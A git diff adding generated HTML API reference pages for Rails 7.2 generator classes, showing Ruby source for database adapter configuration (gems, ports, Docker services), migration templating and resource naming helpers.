diff --git a/src/7.2/classes/Rails/Generators/Database.html b/src/7.2/classes/Rails/Generators/Database.html new file mode 100644 index 0000000000..cafb688861 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database.html @@ -0,0 +1,634 @@ +--- +title: Rails::Generators::Database +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
DATABASES=%w( mysql trilogy postgresql sqlite3 )
+ + + + + + +

Class Public methods

+ +
+

+ + all() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 19
+        def all
+          @all ||= [
+            MySQL.new,
+            PostgreSQL.new,
+            MariaDB.new,
+            SQLite3.new,
+          ]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build(database_name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 9
+        def build(database_name)
+          case database_name
+          when "mysql" then MySQL.new
+          when "postgresql" then PostgreSQL.new
+          when "trilogy" then MariaDB.new
+          when "sqlite3" then SQLite3.new
+          else Null.new
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 49
+      def base_package
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 53
+      def build_package
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 60
+      def feature
+        return unless feature_name
+
+        { feature_name => {} }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 41
+      def feature_name
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 45
+      def gem
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + host() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 58
+      def host; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 29
+      def name
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 37
+      def port
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 33
+      def service
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + socket() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 57
+      def socket; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + volume() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 66
+      def volume
+        return unless service
+
+        "#{name}-data"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Database/MariaDB.html b/src/7.2/classes/Rails/Generators/Database/MariaDB.html new file mode 100644 index 0000000000..5093936c9f --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database/MariaDB.html @@ -0,0 +1,363 @@ +--- +title: Rails::Generators::Database::MariaDB +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 199
+        def base_package
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 203
+        def build_package
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 207
+        def feature_name
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 195
+        def gem
+          ["trilogy", ["~> 2.7"]]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 175
+        def name
+          "mariadb"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 191
+        def port
+          3306
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 179
+        def service
+          {
+            "image" => "mariadb:10.5",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["mariadb-data:/var/lib/mysql"],
+            "environment" => {
+              "MARIADB_ALLOW_EMPTY_ROOT_PASSWORD" => "true",
+            },
+          }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Database/MySQL.html b/src/7.2/classes/Rails/Generators/Database/MySQL.html new file mode 100644 index 0000000000..49e4bc9ba9 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database/MySQL.html @@ -0,0 +1,364 @@ +--- +title: Rails::Generators::Database::MySQL +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 120
+        def base_package
+          "default-mysql-client"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 124
+        def build_package
+          "default-libmysqlclient-dev"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 128
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/mysql-client"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 116
+        def gem
+          ["mysql2", ["~> 0.5"]]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 95
+        def name
+          "mysql"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 112
+        def port
+          3306
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 99
+        def service
+          {
+            "image" => "mysql/mysql-server:8.0",
+            "restart" => "unless-stopped",
+            "environment" => {
+              "MYSQL_ALLOW_EMPTY_PASSWORD" => "true",
+              "MYSQL_ROOT_HOST" => "%"
+            },
+            "volumes" => ["mysql-data:/var/lib/mysql"],
+            "networks" => ["default"],
+          }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/classes/Rails/Generators/Database/MySqlSocket.html b/src/7.2/classes/Rails/Generators/Database/MySqlSocket.html similarity index 100% rename from src/classes/Rails/Generators/Database/MySqlSocket.html rename to src/7.2/classes/Rails/Generators/Database/MySqlSocket.html diff --git a/src/7.2/classes/Rails/Generators/Database/Null.html b/src/7.2/classes/Rails/Generators/Database/Null.html new file mode 100644 index 0000000000..ae15b7963f --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database/Null.html @@ -0,0 +1,327 @@ +--- +title: Rails::Generators::Database::Null +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 247
+        def base_package; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 248
+        def build_package; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 249
+        def feature_name; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 243
+        def name; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 245
+        def port; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 244
+        def service; end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + volume() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 246
+        def volume; end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Database/PostgreSQL.html b/src/7.2/classes/Rails/Generators/Database/PostgreSQL.html new file mode 100644 index 0000000000..c529fee008 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database/PostgreSQL.html @@ -0,0 +1,350 @@ +--- +title: Rails::Generators::Database::PostgreSQL +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 159
+        def base_package
+          "postgresql-client"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 163
+        def build_package
+          "libpq-dev"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 167
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/postgres-client"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 155
+        def gem
+          ["pg", ["~> 1.1"]]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 134
+        def name
+          "postgres"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 151
+        def port
+          5432
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 138
+        def service
+          {
+            "image" => "postgres:16.1",
+            "restart" => "unless-stopped",
+            "networks" => ["default"],
+            "volumes" => ["postgres-data:/var/lib/postgresql/data"],
+            "environment" => {
+              "POSTGRES_USER" => "postgres",
+              "POSTGRES_PASSWORD" => "postgres"
+            }
+          }
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Database/SQLite3.html b/src/7.2/classes/Rails/Generators/Database/SQLite3.html new file mode 100644 index 0000000000..6c098b578d --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Database/SQLite3.html @@ -0,0 +1,341 @@ +--- +title: Rails::Generators::Database::SQLite3 +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + base_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 229
+        def base_package
+          "sqlite3"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + build_package() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 233
+        def build_package
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + feature_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 237
+        def feature_name
+          "ghcr.io/rails/devcontainer/features/sqlite3"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + gem() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 225
+        def gem
+          ["sqlite3", [">= 1.4"]]
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 213
+        def name
+          "sqlite3"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + port() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 221
+        def port
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/database.rb, line 217
+        def service
+          nil
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Db.html b/src/7.2/classes/Rails/Generators/Db.html new file mode 100644 index 0000000000..d159db7380 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Db.html @@ -0,0 +1,67 @@ +--- +title: Rails::Generators::Db +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Db/System.html b/src/7.2/classes/Rails/Generators/Db/System.html new file mode 100644 index 0000000000..3fa473347e --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Db/System.html @@ -0,0 +1,54 @@ +--- +title: Rails::Generators::Db::System +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/Migration.html b/src/7.2/classes/Rails/Generators/Migration.html new file mode 100644 index 0000000000..8394242303 --- /dev/null +++ b/src/7.2/classes/Rails/Generators/Migration.html @@ -0,0 +1,235 @@ +--- +title: Rails::Generators::Migration +layout: default +--- +
+ +
+
+ +
+ +

Holds common methods for migrations. It assumes that migrations have the [0-9]*_name format and can be used by other frameworks (like Sequel) just by implementing the next_migration_number method.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + +
+ [R] + migration_class_name
+ [R] + migration_file_name
+ [R] + migration_number
+ + + + + +

Instance Public methods

+ +
+

+ + create_migration(destination, data, config = {}, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/migration.rb, line 35
+      def create_migration(destination, data, config = {}, &block)
+        action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + migration_template(source, destination, config = {}) + +

+ + +
+

Creates a migration template at the given destination. The difference to the default template method is that the migration number is prepended to the destination file name.

+ +

The migration number, migration file name, migration class name are available as instance variables in the template to be rendered.

+ +
migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/migration.rb, line 56
+      def migration_template(source, destination, config = {})
+        source = File.expand_path(find_in_source_paths(source.to_s))
+
+        set_migration_assigns!(destination)
+
+        dir, base = File.split(destination)
+        numbered_destination = File.join(dir, ["%migration_number%", base].join("_"))
+
+        file = create_migration numbered_destination, nil, config do
+          ERB.new(::File.binread(source), trim_mode: "-", eoutvar: "@output_buffer").result(binding)
+        end
+        Rails::Generators.add_generated_file(file)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_migration_assigns!(destination) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/migration.rb, line 39
+      def set_migration_assigns!(destination)
+        destination = File.expand_path(destination, destination_root)
+
+        migration_dir = File.dirname(destination)
+        @migration_number     = self.class.next_migration_number(migration_dir)
+        @migration_file_name  = File.basename(destination, ".rb")
+        @migration_class_name = @migration_file_name.camelize
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Rails/Generators/NamedBase.html b/src/7.2/classes/Rails/Generators/NamedBase.html new file mode 100644 index 0000000000..7ffee64f1c --- /dev/null +++ b/src/7.2/classes/Rails/Generators/NamedBase.html @@ -0,0 +1,1444 @@ +--- +title: Rails::Generators::NamedBase +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + check_class_collision(options = {}) + +

+ + +
+

Add a class collisions name to be checked on class initialization. You can supply a hash with a :prefix or :suffix to be tested.

+ +

Examples

+ +
check_class_collision suffix: "Decorator"
+
+ +

If the generator is invoked with class name Admin, it will check for the presence of β€œAdminDecorator”.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 214
+        def self.check_class_collision(options = {}) # :doc:
+          define_method :check_class_collision do
+            name = if respond_to?(:controller_class_name, true) # for ResourceHelpers
+              controller_class_name
+            else
+              class_name
+            end
+
+            class_collisions "#{options[:prefix]}#{name}#{options[:suffix]}"
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + js_template(source, destination) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 29
+        def js_template(source, destination)
+          template(source + ".js", destination + ".js")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + template(source, *args, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 23
+        def template(source, *args, &block)
+          inside_template do
+            Rails::Generators.add_generated_file(super)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + application_name() + +

+ + +
+

Tries to retrieve the application name or simply return application.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 138
+        def application_name # :doc:
+          if defined?(Rails) && Rails.application
+            Rails.application.class.name.split("::").first.underscore
+          else
+            "application"
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + attributes_names() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 188
+        def attributes_names # :doc:
+          @attributes_names ||= attributes.each_with_object([]) do |a, names|
+            names << a.column_name
+            names << "password_confirmation" if a.password_digest?
+            names << "#{a.name}_type" if a.polymorphic?
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + class_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 70
+        def class_name # :doc:
+          (class_path + [file_name]).map!(&:camelize).join("::")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + class_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 58
+        def class_path # :doc:
+          inside_template? || !namespaced? ? regular_class_path : namespaced_class_path
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + edit_helper(...) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 105
+        def edit_helper(...) # :doc:
+          "edit_#{show_helper(...)}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 54
+        def file_path # :doc:
+          @file_path ||= (class_path + [file_name]).join("/")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fixture_file_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 125
+        def fixture_file_name # :doc:
+          @fixture_file_name ||= (pluralize_table_names? ? plural_file_name : file_name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + human_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 74
+        def human_name # :doc:
+          @human_name ||= singular_name.humanize
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + i18n_scope() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 82
+        def i18n_scope # :doc:
+          @i18n_scope ||= file_path.tr("/", ".")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_helper(type: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 97
+        def index_helper(type: nil) # :doc:
+          [plural_route_name, ("index" if uncountable?), type].compact.join("_")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inside_template() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 43
+        def inside_template # :doc:
+          @inside_template = true
+          yield
+        ensure
+          @inside_template = false
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inside_template?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 50
+        def inside_template? # :doc:
+          @inside_template
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + model_resource_name(base_name = singular_table_name, prefix: "") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 150
+        def model_resource_name(base_name = singular_table_name, prefix: "") # :doc:
+          resource_name = "#{prefix}#{base_name}"
+          if options[:model_name]
+            "[#{controller_class_path.map { |name| ":" + name }.join(", ")}, #{resource_name}]"
+          else
+            resource_name
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mountable_engine?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 200
+        def mountable_engine? # :doc:
+          defined?(ENGINE_ROOT) && namespaced?
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + namespaced_class_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 66
+        def namespaced_class_path # :doc:
+          @namespaced_class_path ||= namespace_dirs + @class_path
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_helper(type: :url) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 109
+        def new_helper(type: :url) # :doc:
+          "new_#{singular_route_name}_#{type}"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural_file_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 121
+        def plural_file_name # :doc:
+          @plural_file_name ||= file_name.pluralize
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 78
+        def plural_name # :doc:
+          @plural_name ||= singular_name.pluralize
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural_route_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 167
+        def plural_route_name # :doc:
+          if options[:model_name]
+            "#{controller_class_path.join('_')}_#{plural_table_name}"
+          else
+            plural_table_name
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + plural_table_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 117
+        def plural_table_name # :doc:
+          @plural_table_name ||= (pluralize_table_names? ? table_name : table_name.pluralize)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluralize_table_names?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 196
+        def pluralize_table_names? # :doc:
+          !defined?(ActiveRecord::Base) || ActiveRecord::Base.pluralize_table_names
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + redirect_resource_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 146
+        def redirect_resource_name # :doc:
+          model_resource_name(prefix: "@")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + regular_class_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 62
+        def regular_class_path # :doc:
+          @class_path
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + route_url() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 129
+        def route_url # :doc:
+          @route_url ||= controller_class_path.collect { |dname| "/" + dname }.join + "/" + plural_file_name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + show_helper(arg = "@#{singular_table_name}", type: :url) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 101
+        def show_helper(arg = "@#{singular_table_name}", type: :url) # :doc:
+          "#{singular_route_name}_#{type}(#{arg})"
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular_name() + +

+ + +
+

FIXME: We are avoiding to use alias because a bug on thor that make this method public and add it to the task list.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 39
+        def singular_name # :doc:
+          file_name
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular_route_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 159
+        def singular_route_name # :doc:
+          if options[:model_name]
+            "#{controller_class_path.join('_')}_#{singular_table_name}"
+          else
+            singular_table_name
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singular_table_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 113
+        def singular_table_name # :doc:
+          @singular_table_name ||= (pluralize_table_names? ? table_name.singularize : table_name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + table_name() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File railties/lib/rails/generators/named_base.rb, line 86
+        def table_name # :doc:
+          @table_name ||= begin
+            base = pluralize_table_names? ? plural_name : singular_name
+            (class_path + [base]).join("_")
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

